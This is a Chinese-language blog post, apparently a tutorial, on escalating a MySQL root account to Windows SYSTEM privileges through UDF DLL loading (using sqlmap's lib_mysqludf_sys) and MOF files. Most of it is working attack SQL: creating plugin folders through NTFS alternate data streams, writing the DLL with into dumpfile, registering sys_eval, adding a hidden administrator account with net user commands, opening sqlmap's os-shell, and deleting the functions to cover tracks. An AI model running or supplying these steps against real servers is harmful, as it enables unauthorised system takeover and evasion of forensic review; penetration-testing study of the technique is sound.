首页 > 数据库 >mysql udf mof escalate privilege

mysql udf mof escalate privilege

时间:2023-07-31 11:33:14浏览次数:46  
标签:lib escalate dll sys udf eval mysql privilege

原理

udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。

思路

获取udf文件

上传udf到指定位置

sqlmap有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll

sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll

sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码, 不能直接使用

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下打开powershell,执行命令:

sqlmap中的udf文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

有了udf文件,利用各种办法将udf上传到网站指定目录下

mysql<5.0 导出路径随意;

5.0<mysql<5.1 导出至目标服务器的系统目录 c:/windows/system32中

5.1<mysql 必须将udf.dll 放在mysql安装目录下的lib\plugin文件夹下才能创建自定义函数

一般lib,plugin文件夹需要手工建立(利用ntfs的ads流模式创建文件夹),或者用weshell直接创建,没有的话就结合流模式+into dumpfile写入

1.查看mysql所在目录
select @@basedir;

2.利用ntfs ads创建lib目录
select 'it is dll' into dumpfile 'c:\\program files\\mysql\\mysql server 5.1\\lib::$index_allocation';

3.利用ntfs ads创建plugin目录
select 'it is dll' into dumpfile 'c:\\program files\\mysql\\mysql server 5.1\\plugin::$index_allocation';

在NTFS文件系统中,ADS(Alternate Data Streams,备用数据流)是一种特殊的文件属性,允许将额外的数据附加到文件中。这些额外的数据可以存储在文件的ADS中,而不会影响文件的主要内容。

"lib::$index_allocation"是一个ads流的名称。在这种情况下,它指的是名为"lib"的文件的"INDEX_ALLOCATION"备用数据流。它包含了文件的索引信息加快访问速度

从udf文件中引入自定义函数

create function sys_eval returns string soname 'udf.dll'; 

sys_eval是函数名称 udf.dll是lib_mysqludf_sys.dll上传后的文件名

执行自定义函数

新建账号waitalone ,密码为waitalone.cn

select sys_eval('net user waita xx /add');
select sys_eval('net localgroup administrators waitalone /add');

标题写入udf的犯法

tips:版本>5.6.34 secure_file_priv需要为空才可以通过mysql传udf

into outfile直接写入

1.将udf的内容变成16进制编码

2.数据库中执行

select 16进制编码 into outfile 'c:/program files/mysql/mysql server 5.5 /lib/plugin/udf.dl';

3.创建sys_eval

create function sys_eval returns string soname 'udf.dll';

4.获取system权限

select sys_eval('');

表内容导出写入

1.建立表保存16进制内容

set @my_udf=concat('',dll的16进制);

create table udf_data(data longblob);

2.将my_udf的内容插入到表udf_data中

insert into udf_data values(" ");

update udf_data set data=@my_udf;

3.将内容导出到文件

select data from udf_data into dumpfile 'c:/program files/mysql/mysql server 5.5/lib/plugin/udf.dll';

4.创建sys_eval成功执行系统命令

create function sys_eval returns string soname 'udf.dll';

select sys_eval('whoami');

sqlmap写入

1.sqlmap自带udf功能

sqlmap.py -d "mysql://root:root@xxxx:3306/mysql" --os-shell

2.清除痕迹

drop function cmdshell;删除函数

delete from mysql.func where name='cmdshell' 删除函数

mof提权

原理

mof 是windows系统的一个文件叫托管对象格式,作用是每隔5s就去监控进程的创建和死亡。mof提权的简单利用过程就是 拥有了mysql的root权限之后利用该权限执行上传操作,将我们重写的mof文件上传后,该文件中的一个vbs脚本便会执行,该脚本大多数是cmd的添加管理员用户的命令

why可以提权

提权的根本原因在于有更高权限的线程执行了命令。我们利用nullevt.mof文件的加载过程由system用户执行,因此我们可以把最高用户的权限提升到system

利用条件

window版本<2003

c:\windows\system3\wbemmof目录可写入

数据库允许外连,已知root权限账号密码

利用代码

 修改脚本

 

标签:lib,escalate,dll,sys,udf,eval,mysql,privilege
From: https://www.cnblogs.com/lisenMiller/p/17592964.html

相关文章

  • CloudFlare-WARP使用教程
    title:CloudFlareWARP使用教程author:枷锁云-星尘avatar:https://pic.rmb.bdstatic.com/bjh/4d0bc5251b0b8744c872e9021acea141.pngcomments:truedate:2023-05-2020:28:22categories:技术教程tags:技术教程top_img:https://npm.elemecdn.com/[email protected]/......
  • Cloudflare 重定向配置
    最近把之前的一个网站域名换成另一个域名,想要添加一下重定向,避免流量流失(虽然本来就没流量)。然后在Cloudflare配置时尝试多次都失败了,遇到各种Yourconnectionisnotprivate或者WebpageTemporarilyDownorMovedPermanently报错,还有跳到404页面等各种问题。最后终于......
  • 1006-Hive的自定义UDF函数
    hive可以任意定义一个函数,然后该函数放到hive的classpath下,在进入hive中,使用该命令操作场景:设中国移动的用户在商城上下单,下单记录的主要字段包括订单号  手机号码       商品编码     商品数量     渠道10000  18810637891......
  • 数据仓库udf
    数据仓库UDF(用户定义函数)什么是数据仓库?数据仓库(DataWarehouse)是指集成、清洗、整理和存储大量结构化和非结构化数据的系统。它是用于支持企业决策和分析的重要工具。数据仓库可以从多个源系统中提取数据,并将其转化为可理解和可用于分析的格式。数据仓库通常包含历史数据,以便进......
  • 免费使用cloudflare搭建OpenAI的接口代理
    由于GFW以及OpenAI官方的封禁,我们在国内服务器是访问不通OpenAI的官方接口的之前,我一直是使用一个网上找的第三方代理域名,但是担心使用别人的代理不安全、不稳定现在,我们可以使用cloudflare自己搭建一个OpenAI代理服务,使用我们自己的转发代理第一步:注册cloudflare账号前往官方......
  • 【代码分享】使用 terraform, 在 ZeroSSL 上申请托管在 cloudflare 上的域名对应的证
    作者:张富春(ahfuzhang),转载时请注明作者和引用链接,谢谢!cnblogs博客zhihuGithub公众号:一本正经的瞎扯接上一篇:《使用terraform,在Let'sEncrypt上申请托管在cloudflare上的域名对应的证书》直接贴代码:zerossl.tfterraform{required_providers{acme......
  • cloudflare-notion-重定向
    添加DNS记录规则-页面规则......
  • 【代码分享】使用 terraform, 在 Let's Encrypt 上申请托管在 cloudflare 上的域名对
    作者:张富春(ahfuzhang),转载时请注明作者和引用链接,谢谢!cnblogs博客zhihuGithub公众号:一本正经的瞎扯运行的流程可以抽象为上图。直接贴代码:letsencrypt.tfterraform{required_providers{acme={source="vancluever/acme"version="......
  • TDengine 3.0.4.0 重要特性之 Python UDF 实战分享
    TDengine3.0.4.0发布了一个重要特性:支持用Python语言编写的自定义函数(UDF)。这个特性极大节省了UDF开发的时间成本。作为时序大数据处理平台,不支持PythonUDF显然是不完整的。UDF在实现自己业务中特有的逻辑时非常有用,比如量化交易场景计算自研的交易信号。本文内容由浅......
  • ORA-20000: Unable to set values for index xxx: does not exist or insufficient pr
    使用expdp/impdp导出导入数据时,遇到ORA-2000错误,如下所示:Processing object type SCHEMA_EXPORT/TABLE/GRANT/OWNER_GRANT/OBJECT_GRANTProcessing object type SCHEMA_EXPORT/TABLE/COMMENTProcessing object type SCHEMA_EXPORT/TABLE/INDEX/INDEXProcessing object......